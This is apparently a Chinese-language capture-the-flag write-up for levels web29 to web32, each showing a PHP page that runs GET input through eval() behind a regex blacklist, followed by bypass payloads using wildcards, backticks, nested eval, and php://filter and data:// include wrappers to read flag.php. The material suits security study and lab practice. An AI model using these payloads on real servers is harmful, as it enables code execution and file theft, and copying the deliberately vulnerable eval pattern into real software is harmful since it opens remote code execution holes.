web29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
preg_match 函数用于执行一个正则表达式匹配。/i意味着不分大小写。本句含义是不能用flag值且忽略了大小写。说明对flag进行了过滤 解题方法:
1.利用通配符/?c=system('cat f*'); 正则表达式
2.c=echo `nl fl''ag.php`; 反引号可以将输出作为命令执行
3.?c=system('cat `
ls`
');用``执行ls
web30
这里是将system和flag过滤了
payload:?c=echo`nl fl*`;
web31
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
被过滤了很多cat也被过滤了
payload: c=eval($_GET[1]);&1=system('nl flag.php');先get传一个参数1在执行nl flag.php'或cat flag.php不会被过滤
web32
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了空格和;
用include然后;用?>代替
payload:
1.c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
2.c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>